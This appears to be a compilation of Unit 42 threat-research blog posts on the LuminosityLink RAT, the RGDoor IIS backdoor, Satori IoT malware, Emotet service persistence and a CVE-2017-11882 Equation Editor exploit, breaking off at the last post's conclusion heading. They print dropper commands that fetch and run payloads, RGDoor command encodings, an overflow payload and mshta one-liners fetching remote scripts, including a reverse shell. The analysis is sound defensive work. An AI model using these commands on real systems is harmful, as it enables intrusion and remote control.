RAT Trapped? LuminosityLink Falls Foul of Vermin Eradication Efforts


In July 2016 Unit 42 analyzed the LuminosityLink Remote Access Tool (RAT) which first appeared in April 2015. LuminosityLink was once a popular, cheap, full-featured commodity RAT. Now, however, LuminosityLink appears to have died – or been killed off – over half a year ago.

We recently noticed that the sites luminosity[.]link and luminosityvpn[.]com had been taken down and were looking into the possibility that it was indeed “dead”, when we saw on February 5, 2018 Europol published a press release that stated “A hacking tool allowing cybercriminals to remotely and surreptitiously gain complete control over a victim’s computer is no longer available as a result of an UK-led operation targeting hackers linked to the Remote Access Trojan (RAT) Luminosity Link.”.

In this blog we look at how LuminosityLink indeed appears to have died, go into some details on LuminosityLink’s prevalence, and discuss LuminosityLink’s capabilities and how they belie claims sometimes made that it was a legitimate tool.

Up until July 2017, the LuminosityLink RAT software was sold at the website luminosity[.]link (Figure 1).


Figure 1 – luminosity[.]link website

Customers complained that their licensing systems were no longer working (Figure 2).


Figure 2 – Customers noticing licensing down

The author of LuminosityLink, “KFC Watermelon”, was indeed keeping a low profile – closing his forum thread selling the software (Figure 3).


Figure 3 – KFC Watermelon MIA

As shown in Figures 4 and 5, although unrelated to LuminosityLink, the arrest of the author of the Nanocore RAT earlier in 2017 fueled speculation on forums that the LuminosityLink author had also been arrested and may have handed over his customer list.


Figure 4 – Speculation


Figure 5 – Arrest

However, even though sales and licensing of LuminosityLink have ceased, despite the rumors, there has been no report of an arrest in the case of the LuminosityLink author to date.

Interestingly, the Europol press release seems to focus upon the users of LuminosityLink, and noticeably omits any mention of the author. Our own investigation into the LuminosityLink author suggests that the individual behind LuminosityLink RAT (and previously Plasma RAT) lives in Kentucky. In light of the fact that “KFC” originally stood for “Kentucky Fried Chicken”, the “KFC” in “KFC Watermelon” may have a deeper significance and not be a random handle.

Prevalence of LuminosityLink
Our oldest sample of this malware dates to mid-April 2015, very shortly after the domain luminosity[.]link was registered. In the just-over two years that this RAT was sold, Palo Alto Networks collected over 43,000 unique LuminosityLink samples through various methods. In total, Palo Alto Networks observed over 72,000 submissions to Wildfire (Figure 6), of over 6000 unique samples, by almost 2500 Palo Alto Networks customers. The most prolific of these individual samples were observed in over 2000 attacks each.


Figure 6 – LuminosityLink Attack Observations

LuminosityLink Command and Control (C2) servers contact the author’s licensing server to verify their legitimacy. We note a sharp drop after July 2017, with the licensing server down, though samples continue to be observed. Although we note a couple of noticeable spikes, the observation of new LuminosityLink samples is on a steady decline. Based on other examples, we believe the continued presence LuminosityLink in the wild, even though it’s no longer under development, may be due to cracked versions of it being in use.

Malware, or legitimate tool?
Customers of these services, users on underground forums, have expressed concern that arrests of RAT authors might lead law enforcement to their own doors (we see similar sentiments echoed by the customers of DDoS “booter” / “stresser” services).

RAT authors and customers alike claim that RATs represent legitimate “administration tools” – despite the fact that the support thread itself is in under “Hacks, Exploits, and Various Discussions » Hacking Tools and Programs”, on a hacking forum (Figure 7).


Figure 7 – What is obvious

Further undermining these claims, the help forum on the luminosity[.]link site included an article (Figure 8) about “support regarding a third-party product (VPN, Crypter, etc)” – suggesting that the use of such detection avoidance techniques was in the front of the mind of the author.

“KFC Watermelon” even states as much on forums “I do cater to crypter coders now and are in contact with numerous developers to ensure Luminosity works great while crypted. 1.3.1 is further proof of this.”.


Figure 8 – luminosity[.]link support article

Even more to the point, LuminosityLink boasted feature sets such as “Surveillance: Remote Desktop, Remote Webcam, Remote Microphone”, “Smart Keylogger: Records all Keystrokes, Specify Websites and Programs to Record Separately, Keylogger Viewer, Organized and easy-to-use, Search Keylogs Easily”. These all heavily suggest a purpose other than legitimate remote administration. And other features would seem to have no legitimate purpose at all: “Crypto Currency Miner: Supports Scrypt, SHA256 and More, Custom Miner Support (For Alt Coins), Set amount of CPU to use, Supports CPU and GPU Mining, Proxy Support, Update mining config at anytime” (Figure 9).


Figure 9 – Coin Miner

It’s also hard to imagine a legitimate-use scenario for launching a DDoS attack (Figure 10):


Figure 10 – DDoS feature

Per “KFC Watermelon” himself “I also re-coded the DDoS modules in and made the Layer 7 attacks more effective.”.

Another forum was quite accurately prophetic about the risks the author of LuminosityLink was taking in April 2017, about three months before the site was parked (Figure 11).


Figure 11 – Forum Comment on Risks LuminosityLink Author Was Taking


Based on our analysis and the recent Europol announcement, it does seem though that LuminosityLink is indeed dead, and we await news of what has indeed happened to the author of this malware. In support of this, we have seen LuminosityLink prevalence drop significantly and we believe any remaining observable instances are likely due to cracked versions.

Finally, a review of most recent feature sets and capabilities for LuminosityLink show that even if some of its capabilities could be put to legitimate purposes, taken as a whole, the preponderance of questionable or outright illegitimate features discredit any claims to legitimacy.


Palo Alto Networks customers are protected from this threat in the following ways:

  1. WildFire accurately identifies LuminosityLink RAT samples as malicious.
  2. Traps prevents this threat on endpoints, based upon WildFire prevention.

AutoFocus users can view LuminosityLink RAT samples using the “LuminosityLinkRAT” tag.

IOCs can be found in the appendices of this report.

Appendix I – Top 20 samples

07b4b11940baa619c0c6ec91b1a73715f4a1ece29ad85287b7db97718a60aea5 2260
efdf2238c091f4ff3fa9b2eea8cfa5c9edad70434fc81cba5a81d2b3fe188276 2142
73f7967d53fe124a028311db97b2b1c0a53acffe269c37d20e31f2a4a068ab28 1769
45657413799e9481eff4c83bf183b9343b3f7ed1ecde6724b1a7d2c2c6e4839c 1260
df5a90d5dac6c3a4286230e0b0d4835ec936b11bbacf6b031b25ff6545ed153e 1007
8785ef18b75605bd659a346ec890b4888749c6015b729cd3363fd8289e55faf3 959
f3aacd6a47fd6655408507446ff53b946108f29e2a3dc0bb2f496b8e36927ce7 890
add98a6912601551634239a6867ea10136fd6cf770cd25eecde576a3853738d8 823
c4eee35f0e51a04a7daca1431c4926d02720590ce62200c8362bacc66eb574b1 764
53d817e8a824488a622cf653c9d48164c3d741aa19f2e2d89a713005f81109ef 751
a3dd71e5bd2d9edad31252d3d6049b5ffb1d6bd11fe6215f9d2c8cf093ba8ab7 749
82151d68ae5ec5e00e81998785371ff694b37bfe6093fe3bd8c9932ed21651c7 731
68a599d2658096ff9c529c5aeb9644119c47e1c744b07323a3df8a8e5e94c4da 725
1f79ac7f0201584d6ea7d6b0c96d2285572ed4a191e765a20f5ccae6ebb2f34d 718
50349613c6fbac2b344f5b7753a165620be112a674763153a6de497df43589af 712
79a6a3c5ae196a1874234f5870fc8c6d07059c85cb1fca73d21c8eb51c0d41b1 680
8329f8176e926053fc9a4db2f9eb09aff6fec31c197e919ae26cb9501926c516 674
f8f58cc1095ea29e2c365fa64fdccdebce5113b44e3d7032e96f0ebb3dfd5e9c 669
09681a9054f9f04e270b0ae390c7b697748405d4c29a589ff45a4b485baa18c4 652
0247b0ecbf6069e38e772ef546e63c46262cc77efe5d004a3ec516baf0e74d87 524

Appendix 2 – full sample hash list

A full list of SHA256 hashes for all known LuminosityLink samples, as of 1 February 2018, can be found here.

The post RAT Trapped? LuminosityLink Falls Foul of Vermin Eradication Efforts appeared first on Palo Alto Networks Blog.

Go to Source
Author: Simon Conant

OilRig uses RGDoor IIS Backdoor on Targets in the Middle East


While investigating files uploaded to a TwoFace webshell, Unit 42 discovered actors installing an Internet Information Services (IIS) backdoor that we call RGDoor. Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations, as well as one financial and one educational institution.

We believe the actors deploy RGDoor as a secondary backdoor to regain access to a compromised webserver in the event a victim organization detects and removes the TwoFace shell. We do not have HTTP logs that show the actor interacting with RGDoor, so we do not know the activities the actors carry out using the backdoor. However, we were able to create a client application to interact with RGDoor for testing purposes, which allowed us to interact with the backdoor to see how it operates on an IIS server.


Unlike TwoFace, the actors did not develop RGDoor in C# to be interacted with at specific URLs hosted by the targeted IIS web server. Instead, the developer created RGDoor using C++, which results in a compiled dynamic link library (DLL). The DLL has an exported function named “RegisterModule”, which is important as it led us to believe that this DLL was used as a custom native-code HTTP module that the threat actor would load into IIS. Starting with IIS 7, developers could create modules in C++ that the IIS webserver would load to extend IIS’ capabilities, such as carry out custom actions on requests. The fact that RGDoor is an IIS HTTP module suggests that there is no visual representation of the shell for actors to interact with, which also differs from TwoFace’s interface that actors can interact with by visiting the URL to the TwoFace ASPX file.

According to Microsoft’s documentation, native-code modules can be installed either in the IIS Manager GUI or via the command-line using the “appcmd” application. While we do not have logs to determine exactly how the actors install RGDoor, the actor can use the TwoFace webshell to install the RGDoor module via the command line. The following command could be used to install the HTTP module on an IIS server:

%systemroot%system32inetsrvAPPCMD.EXE install module /name:[module name] /image:[path to RGDoor DLL] /add:true

We confirmed the command above successfully installed the RGDoor backdoor in our test environment. Figure 1 shows the specific command we used to install RGDoor on our IIS server.


Figure 1 Command-line used to install RGDoor module into IIS

We confirmed RGDoor installed correctly into IIS by checking the HTTP Modules display in IIS Manager. Figure 2 shows the RGDoor DLL (HTTPParser.dll) was loaded into IIS using the module name HTTPParser.


Figure 2 Installed RGDoor module displayed in the HTTP Modules list in IIS Manger

Listening for Commands

We analyzed RGDoor samples and found that the “RegisterModule” function does very little other than calling the IHttpModuleRegistrationInfo::SetRequestNotifications method. According to MSDN, the SetRequestNotifications function has the following prototype, which allows a developer to configure the module to handle GET requests (dwRequestNotifications) and/or POST requests (dwPostRequestNotifications):


        IN IHttpModuleFactory * pModuleFactory,

        IN DWORD                dwRequestNotifications,

        IN DWORD                dwPostRequestNotifications


In RGDoor, the code calls this function with arguments that ignore inbound HTTP GET requests, but act on all HTTP POST requests seen by the IIS server, even POST requests issued over HTTPS. RGDoor calls this function with the following arguments, the third of which (dwPostRequestNotifications) is set to “RQ_BEGIN_REQUEST”, which is an event triggered immediately after IIS receives the POST request:


RGDoor is notified immediately when the IIS server receives an inbound HTTP POST request. RGDoor parses these POST requests, specifically looking for the HTTP “Cookie” field by accessing the HTTP header with the following function call:


After accessing the cookie field, RGDoor parses this field by looking for the string “RGSESSIONID=”, which is the basis for the name RGDoor. If present, the code uses the two-bytes immediately following the “RGSESSIONID=” string as a decryption key, specifically treating the two character bytes as a single hexadecimal byte. For instance, the two-byte key of “00” would represent the hexadecimal value of 0x00, where “FF” would represent 0xff, and so on. The key is followed by a base64 encoded string that contains ciphertext. The following represents the structure of the cookie filed in inbound RGDoor requests:

RGSESSIONID=[two-bytes for key][base64 encoded ciphertext]

RGDoor decodes the Base64 encoded string and then decrypts the decoded string using a custom algorithm. The custom algorithm iterates through the ciphertext using the ‘pxor’ instruction to XOR each byte of ciphertext with the single-byte hexadecimal value from the two-byte character key provided in the cookie field.

The code will parse the cleartext looking for one of three commands: “cmd$”, “upload$” and “download$”. The code treats the string immediately following the command as the command’s argument. Table 1 provides the arguments and further details on the three commands.

Command Description
cmd$[command to execute] Uses “popen” to run the specified command. It enters a loop that calls “fgets” to get the command results. The loop finishes when a call to “feof” designates the end of the command results, which are relayed back to the actor via the HTTP response.
upload$[path to file] Gets the length of uploaded data by checking the “Content-Length” field within the HTTP request. Uses the IHttpRequest::GetRemainingEntityBytes and IHttpRequest::ReadEntityBody methods to obtain base64 encoded data within the body of the HTTP POST request. The code decrypts the decoded data using the XOR algorithm and writes the data to the specified file. It will respond to this request with either “write done rn” or “can’t open file: “.
download$[path to file] Reads a specified file and encrypts it with the XOR algorithm, base64 encodes the ciphertext and sends the data back to the actor via the HTTP response.

Table 1 Commands available within RGDoor

Responding to Commands

When responding to inbound requests, the code will clear the response that IIS would have responded to the HTTP POST request by calling the following functions:


RGDoor then constructs its own HTTP response by first setting the “Content-Type” field within the HTTP header to “text/plain”. Figure 3 shows the code that uses the IHttpResponse::SetHeader method to set the “Content-Type” field within the HTTP response to “text/plain”, specifically by using a value of 0xC (0xA + 2) for the ulHeaderIndex within HTTP_HEADER_ID enumeration.


Figure 3 RGDoor code to set the HTTP Content-Type to “text/plain”

The sample then transmits the data back to the actor by creating a loop that calls the IHttpResponse::WriteEntityChunk method until all of the data is sent to the actor within HTTP responses. If the WriteEntityChunk method fails at any point during this loop, the code will respond to the actor with a HTTP 500 “Server Error” response by using the IHttpResponse::SetStatus method.

Interacting with RGDoor

We created a client application to interact with the RGDoor module, specifically to issue commands to the backdoor and to see how it operates on the IIS server. As mentioned previously in this blog, RGDoor has three available commands, specifically “cmd$”, “upload$” and “download$”. We used our client to issue one of each of these commands.

Figure 4 shows the HTTP request and response to our first interaction with the RGDoor module. The command issued in this request was “cmd$whoami”, which instructs RGDoor to run the ‘whoami’ command in command prompt. The key used to encrypt this command was “54” (0x54), which resulted in base64 encoded string of “NzkwcCM8OzU5PQ==”. The HTTP response shows the RGDoor module returned the Base64 encoded string of “PT0ndDUkJCQ7OzgIMDEyNSE4IDUkJCQ7OzheVA==”, which when decrypted using the same “54” key is the result of the ‘whoami’ command, specifically the string “iis apppool\defaultapppoolnx00”.


Figure 4 Issuing ‘whoami’ command and RGDoor’s response

Figure 5 shows our testing of RGDoor’s upload command, specifically “upload$c:windowstemptest.txt” that uploads a file from our local system to the webserver. The inbound request uses a key of “54” (0x54) that results in an encoded command string of “ISQ4OzUwcDduCCM9OjA7IycIIDE5JAggMScgeiAsIA=”. The request also includes the string “IDEnID06M2VmZ14=” within the POST data, which is the string “testing123n” from the file on our local system encrypted using the “54” key that will be written to the “test.txt” file on the server. As you can see from the HTTP response, RGDoor responded to this command with “write done”, which is interesting as the response was in cleartext and not encrypted using the custom algorithm.


Figure 5 Uploading a file to server via RGDoor

Figure 5 shows our testing of the download command within RGDoor, specifically a command “download$c:windowstemptest.txt” that downloads the file uploaded in our previous test. We chose to use the key “89” (0x89) in this test to showcase RGDoor’s ability to use any hexadecimal byte as a key, which resulted in an encoded command string of “7eb+5+Xm6O2t6rPV/uDn7eb++tX97OT51f3s+v2n/fH9”. RGDoor responds to this command with the encoded string “/ez6/eDn7ri7uoM=”, which when decrypted with the “89” key results in the string ‘testing123n’, which is the contents of the “test.txt” file.


Figure 6 Downloading a file from the server via RGDoor

To determine how the RGDoor client requests appears within the IIS request logs, we checked the logs of our default IIS installation in our test environment. By default, IIS does not log the values within Cookie fields of inbound HTTP requests, which would contain commands issued by actors to RGDoor. To see inbound RGDoor requests, an administrator must configure logging of Cookie fields in IIS, which can be selected in the W3C Logging Fields dialog in IIS Manager, as seen in Figure 7.


Figure 7 W3C Logging Fields dialog in IIS Manager with Cookie fields enabled

The HTTP requests sent by the client to the RGDoor backdoor in the testing above will generate logs on the IIS server. Without the Cookie field logged, it is difficult to locate and analyze inbound requests related to RGDoor. Remember that RGDoor is an IIS module that checks all inbound POST requests for commands, so an actor does not need to use one particular URL to interact with RGDoor. However, the following shows the IIS log generated from the first testing request we made using our RGDoor client, which shows the “RGSESSIONID=” string, the “54” key and the base64 encoded command within the Cookie field:

#Software: Microsoft Internet Information Services 7.5
#Version: 1.0
#Date: 2017-10-03 19:30:13
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Cookie) sc-status sc-substatus sc-win32-status time-taken
2017-10-03 19:30:13 POST / - 80 - python-requests/2.13.0 RGSESSIONID=54NzkwcCM8OzU5PQ== 200 0 0 28


RGDoor is an IIS backdoor that actors used the TwoFace webshell to load onto an IIS web server. The RGDoor provides backdoor access to the compromised server, which we speculate the actors loaded in order to regain access to the server in the event the TwoFace webshell was removed. This backdoor has a rather limited set of commands, however, the three commands provide plenty of functionality for a competent backdoor, as they allow an actor to upload and download files to the sever, as well as run commands via command prompt. The use of RGDoor suggests that this group has contingency plans to regain access to a compromised network in the event their webshells are discovered and remediated.

Palo Alto Networks customers are protected from RGDoor by the following:

  • All RGDoor samples have malicious verdicts in WildFire
  • AutoFocus customers can investigate this activity with the RGDoor tag
  • IPS Signature RGDoor.Gen Command and Control Traffic (ID 11885) detects RGDoor network traffic

Indicators of Compromise

RGDoor SHA256



RGDoor Filenames





The post OilRig uses RGDoor IIS Backdoor on Targets in the Middle East appeared first on Palo Alto Networks Blog.

Go to Source

IoT Malware Evolves to Harvest Bots by Exploiting a Zero-day Home Router Vulnerability


In early December 2017, 360 Netlab discovered a new malware family which they named Satori. Satori is a derivative of Mirai and exploits two vulnerabilities: CVE-2014-8361 a code execution vulnerability in the miniigd SOAP service in Realtek SDK, and CVE 2017-17215 a newly discovered vulnerability in Huawei’s HG532e home gateway patched in early December 2017.

Palo Alto Networks Unit 42 investigated Satori, and from our intelligence data, we have found there are three Satori variants. The first of these variants appeared in April 2017, eight months before these most recent attacks.

We also found evidence indicating that the version of Satori exploiting CVE 2017-17215 was active in late November 2017, before Huawei patched the vulnerability. This means that this version of Satori was a classic zero-day attack: an attack against a previously unknown vulnerability for which no patch was then available.

Our analysis of how Satori evolved proves our theory that more IoT malware will evolve to exploit either a known vulnerability or even a zero-day vulnerability.

Early IoT malware families like Gafgyt and the original Mirai family leveraged default or weak passwords to attack devices. In response, users and manufacturers began changing default passwords, and hardening passwords to thwart these attacks.

In response to that, some IoT malware authors, like those behind families like Amnesia and the IoT_Reaper family changed tactics to exploit known vulnerabilities for specific IoT devices. Naturally, IoT vendors responded by patching vulnerabilities.

The move to a classic zero-day attack against unknown, unpatched vulnerabilities is a logical next step on the part of attackers.

In this blog, we outline how Satori has evolved to become an IoT malware family targeting zero-day vulnerabilities. We show how Satori, as a derivative of Mirai, reuses some of Mirai’s source  code to achieve the telnet scanning and password brute force attempting functionalities. Satori also identifies the type of IoT device and shows different behaviors in different device types. We believe that the Satori’s author has started to reverse engineer the firmware of many IoT devices to collect device’s typical information and discover new vulnerabilities. If this is correct, we may see future versions of Satori attacking other unknown vulnerabilities in other devices.

The Evolution of Satori

Since April 2017, we have captured attacks launched by Satori malware.  By analyzing our captured attack logs and sample analysis results, we identify that the Satori family has three main variants, showed in Figure 1.  Our analysis shows that these three variants execute different commands, listed in Table 1.


Figure 1 Evolution timeline of Satori family

The 1st variant only scans the Internet and checks which IP address is vulnerable in the telnet login by attempting different passwords. Once it successfully logs in, it first enables shell access, and then only executes the commands “/bin/busybox satori” or “/bin/busybox SATORI”.

The 2nd variant added a packer, likely to evade static detection. In the meanwhile, the attacker adds the “aquario” password in the password dictionary (in Figure 2), and it always uses “aquario” to login at its first attempt. “aquario” is the default password for a popular wireless router in South America countries. It indicates that the attacker intentionally started to harvest bots in South America.

The 3rd variant uses exploits for two remote code execution vulnerabilities, including one zero-day vulnerability (CVE-2017-17215). Some of the 2nd variant samples share the same embedded commands (in Figure 3) with the 3rd variant.

Variant Attack Commands
1st Telnet attack on 2223 port enable




/bin/busybox satori (or /bin/busybox SATORI)

2nd Telnet attack on 23 or 2223 port enable




ping ; sh

/bin/busybox SATORI (or /bin/busybox OKIRU)

>DIR/.file && cd

>DIR/.file && cd DIR && /bin/busybox rm –rf .file

(DIR = [‘/dev/netslink/’, ‘/var/tmp/’, ‘/tmp/’, ‘/var/’, ‘/home’, ‘/’, ‘./’, ‘/dev/’, ‘/mnt/’, ‘/boot/’, ‘/dev/shm/’, ‘/usr/’])

/bin/busybox rm -rf .okiru.dropper .okiru.binary .file

/bin/busybox wget; /bin/busybox tftp; /bin/busybox NBVZA

/bin/busybox wget; /bin/busybox tftp; /bin/busybox echo

/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo $i; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1

/bin/busybox cp /bin/busybox xhgyeshowm; /bin/busybox cp /bin/busybox gmlocerfno; >xhgyeshowm; >gmlocerfno; /bin/busybox chmod 777 xhgyeshowm gmlocerfno

/bin/busybox wget http://xxx.xxx.xxx.xxx:xxx/bins/satori.arm -O – > gmlocerfno; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno

/bin/busybox tftp –r satori.arm –l gmlocerfno –g xxx.xxx.xxx.xxx; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno

3rd Exploit two RCE vulnerabilities busybox wget -g xxx.xxx.xxx.xxx -l /tmp/rsh -r /okiru.mips ;chmod +x /tmp/rsh ;/tmp/rsh

cd /var/; wget http://xxx.xxx.xxx.xxx/rt.mips -O -> c

Table 2 Commands executed by different  variants


2: “aquario” is added in the password dictionary


Figure 3 Commands in both version 2.0 and version 3.0

Derivative from Mirai

As Mirai’s source code is open sourced in Github, attackers could easily reuse Mirai’s code to implement the network scanner and the password brute force login modules for launching a telnet brute password force attack or other attacks. The Satori family reuses some Mirai code, including the network scanner, telnet password attempting and watchdog disabling (in Figure 4).


Figure 4   Disable watchdog

Satori also traverses the “/proc” to kill other processes by searching eight strings in “/proc/PID/maps” and “/proc/PID/exe” (in Figure 5). In the second variant, we notice that the killing process behavior differs in different devices.  Satori checks whether a compromised device is a specific device type by searching keywords “/var/Challenge”, “hi3511”, “/mnt/mtd/app/gui”, “gmDVR” in the “/proc” in the same way. But, in the corresponding four IoT devices, Satori does not kill processes. From these four strings, we suspect that the Satori’s author has started to reverse firmwares of IoT devices and identify the device type for future attacks.


Figure 5 Check and kill processes


The Satori malware family demonstrates that IoT malware is evolving all the time from the simple password brute force attack to the vulnerability exploit attack. Mirai’s open source code gives IoT malware authors a good start point to develop new variants. It would be a notable trend if IoT malware authors continue to rely on using more known vulnerabilities or discovering zero-day vulnerabilities to attack IoT devices.

Palo Alto Networks has released the IPS signature (37896) for the zero-day vulnerability exploited by Satori. WildFire also has covered the detection for Satori samples and the C2s are categorized as malware.  AutoFocus customers can investigate this activity with the Satori tag.






176.123.30[.]27:7723, 7645, 6651







































The post IoT Malware Evolves to Harvest Bots by Exploiting a Zero-day Home Router Vulnerability appeared first on Palo Alto Networks Blog.

Go to Source
Author: Cong Zheng

Abusing the Service Control Manager to Establish Persistence for Non-Service Applications


Unit 42 recently analysed a sample of the Emotet malware family, which is a modular bot primarily used for sending spam emails to infect victims. During the analysis, I found it uses an uncommon technique to establish persistence on a compromised system. For this technique to work, either User Account Control (UAC) has to be disabled or the file opened by a user who has an administrator account, because the malware creates a Windows service, a process which needs administrator privileges.

It abuses the Windows Service Control Manager (SCM) to create and start a Windows service without the executable being a valid service application. According to the official Microsoft documentation, for executables you have to call StartServiceCtrlDispatcher() immediately in the main thread. This malware doesn’t call this function, but is started by the Service Control Manager (SCM) anyway. In this blog we analyse how this is accomplished.

Detailed analysis

We used the below sample for this analysis:

SHA256 fa88c77657a173c99c6cd7e78cafa6709760178d767867c42b7db3cecf83208e

According to the Microsoft documentation about services, a service application must either export the ServiceMain function, when designed as a DLL, or call StartServiceCtrlDispatcher() when designed as a EXE. The control dispatcher function always has to be called immediately in the main thread or the SCM (which is called services.exe) returns an error.

As the malware is a EXE file and does not call this function in the main thread, we get an error after it has created its service via CreateService() and calls StartService().


Figure 1. CreateService() function parameters of Emotet

The function call to StartService() returns 0 (fail) and gives the ERROR_SERVICE_REQUEST_TIMEOUT error code back. The explanation of this error is as follows:

“The process for the service was started, but it did not call StartServiceCtrlDispatcher, or the thread that called StartServiceCtrlDispatcher may be blocked in a control handler function.”

The trick is that the SCM executes the application for a short period of time and expects the program to call StartServiceCtrlDispatcher(). If it doesn’t call the function, the executable is terminated and nothing happens. Internally, this is accomplished by remote procedure calls. The malware uses this short time of execution to create a child process which is then detached from the parent when the SCM terminates the parent process. When we take a look at the API Monitor output of services.exe we can see this behaviour:


Figure 2. API Monitor call trace of Service Control Manager (services.exe)

We can see that services.exe creates the malware process with the following creation flags:


The process is first created in suspended mode by the SCM and then run via ResumeThread(). The malware creates a child process of itself before the parent process gets terminated and the child process ends up parentless.


This method is a kind of a race condition trick to abuse the SCM to run a normal executable in a way which doesn’t follow the Microsoft guidelines for service applications. At the end, the executable is not run as a service application, but rather just started by the SCM. Because this happens every time the system is rebooted, it can be used as a persistency method as this malware does.

I have tested this behaviour successfully in Windows 7, 8.1, and 10. This malware is flagged appropriately as such in WildFire, and detected by Traps. AutoFocus customers can investigate this activity with the Emotet malware family tag.

The post Abusing the Service Control Manager to Establish Persistence for Non-Service Applications appeared first on Palo Alto Networks Blog.

Go to Source
Author: Dominik Reichel

Analysis of CVE-2017-11882 Exploit in the Wild

Recently, Palo Alto Networks Unit 42 vulnerability researchers captured multiple instances of traffic in the wild exploiting CVE-2017-11882, patched by Microsoft on November 14, 2017 as part of the monthly security update process. Exploits for this vulnerability have been released for Metasploit, and multiple security researchers have published articles on specific attacks taking advantage of this vulnerability. In this article, we describe the vulnerability and discuss mechanisms for exploiting it.

About CVE-2017-11882:

Microsoft Equation Editor, which is a Microsoft Office component, contains a stack buffer overflow vulnerability that enables remote code execution on a vulnerable system. The component was compiled on November 9, 2000, over 17 years ago. Without any further recompilation, it was used in all currently upported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by eqnedt32.exe, meaning it runs as it’s own process and can accept commands from other processes.

Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) should protect against such attacks. However, because of the manner in which eqnedt32.exe was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to eqnedt32.exe, unless applied system-wide.  This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker command.

Analysis of Exploit Proof of Concept:

The POC RTF sample we analyze in this section has the following attributes:

SHA256 02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453

and is available on GitHub. Through analysis of the file contents, we can see the object class is Equation.3, which means it is an OLE equation object:


Figure 1 RTF File Contents Showing Class Equation.3

After extracting the object, we can skip OLE, CompObj and ObjInfo streams, and go directly to Equation Native stream:


Figure 2 File Contents showing various Streams

The stream has a header with following structure:

Real Image 4

After that we can see the MTEF data, which contains a MTEF header and multiple records. MTEF is a binary equation format used by the equation editor. The header has the general information about the MTEF data:

Description Size (byte) Value Comment
MTEF Version 1 0x3 MTEFv3
Generating Platform 1 0x3 Windows
Generating Product 1 0x1 Equation Editor
Product Version 1 0x3
Product Subversion 1 0xa

Table 1METF header


Following the header are some MTEF records. The malicious record that triggers the vulnerability is Font record, which in the sample has the below structure:

Description Size (byte) Value Comment
Tag 1 0x8 0x8 denotes Font record
Typeface Number 1 0x5a
Style 1 0x5a
Font Name Variable, NULL terminated “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 Overflow and overwrite return address

Table 2 Font record

The long font name overflows and causes the code execution. Putting it in the debugger to take a deeper look show us this:3-ida

Figure 3 IDA View of the Sample

The vulnerability occurs when EQNEDT32.EXE tries to copy the font name into a locally created buffer. The buffer is only 40 (0x28) bytes, however if the font name is longer than 40 bytes (in this case 48 bytes), the buffer will overflow and EBP as well as the return address will be overwritten. When the function is done executing, the control flow will be taken to the attacker assigned address.


Figure 4 Before Font Name Copy


Figure 5 After Font Name Copy

In this case, the function will return “back” to 0x430c12, which is the address of WinExec, and the argument is the “font name”, also an attacker supplied input:6-od-code-execution

Figure 6 Debugger View of Returning to WinExec

Then we can see the Windows calculator (calc.exe) opening:7-od-calculator

Figure 7 Calc.exe Displayed when the Exploit Completes

Exploit Method Analysis

Next, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, 636d642e657865202f632063616c632e65786520, are used for the following command: cmd.exe /c calc.exe 

When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.


Figure 8 IDA View of code copying overflow buffer into v4

The size of an array that the attacker can overflow is 36 bytes (overflow_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?

One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the mshta executable to run VBscript code from a remote server, as is only 37 characters long (ignoring the de-fanging brackets.)

mshta http://192.168.56[.]102/test.html

Below is code the attacker could host on that server, which would accomplish the same goal of executing the windows, but could do much more.


A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell. In the screenshot below, Metasploit is being configured to host a remote shell on the server


Figure 9 Running the Metasploit server


The command we need to insert into our exploit is just 40 bytes long:

mshta.exe http://192.168.56[.]103:8080/abc

When the victim opens the vile, the Metasploit server delivers the reverse shell and gives the attacker control over the host (see below.)



Figure 10 Metasploit Delivering Payload to Exploited Host

Exploit Samples in the Wild

Since November 20th, we have identified thousands of attempted attacks which exploit this vulnerability in AutoFocus. Most of these use the techniques described above, either by calling cmd.exe directly or by using mshta.exe or cscript.exe to execute a remote script from an attacker controlled server. The table below shows examples of the most common techniques.

Command Parameters Description Example
cmd.exe malicious file

IP + remote malicious file

cmd.exe to call local malicious file

cmd.exe to call remote malicious file

cmd.exe /c calc.exe

cmd.exe /c start \\\c$\1.exe

cscript.exe script language + script cscript.exe to call malicious file cscript.exe //E:jscript \\xxd.cc\bwou.png
mshta.exe IP + remote malicious file mshta.exe to call remote malicious file mshta.exe http://104.254.99[.]77/x.txt

mshta https://seliodrones[.]info/otr/otr.hta

regsvr32.exe Installation Flags and remote malicious DLL regsvr32.exe to call remote malicious DLL regsvr32 /i:http[:]//1997106195 scrobj.dll &AA

One example of an attack in the wild includes this sample:

SHA256 7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551

This sample was distributed as a fake invoice document attachment in email to organizations in Europe. After the user opened the document it executed the following command:

mshta.exe , mshta https://zilk[.]pw/url/index.hta

The code was hosted (and is no longer available) at this location executed a PowerShell script which in turn would download and executes a file from: hxxps://zilk[.]pw/url/smstrace.exe. This file is a sample of the information stealing Trojan FormBook.

Despite the size limitations on the overflow buffer, many attackers have found ways to exploit this vulnerability to achieve their goals.

Conclusion and Mitigation:

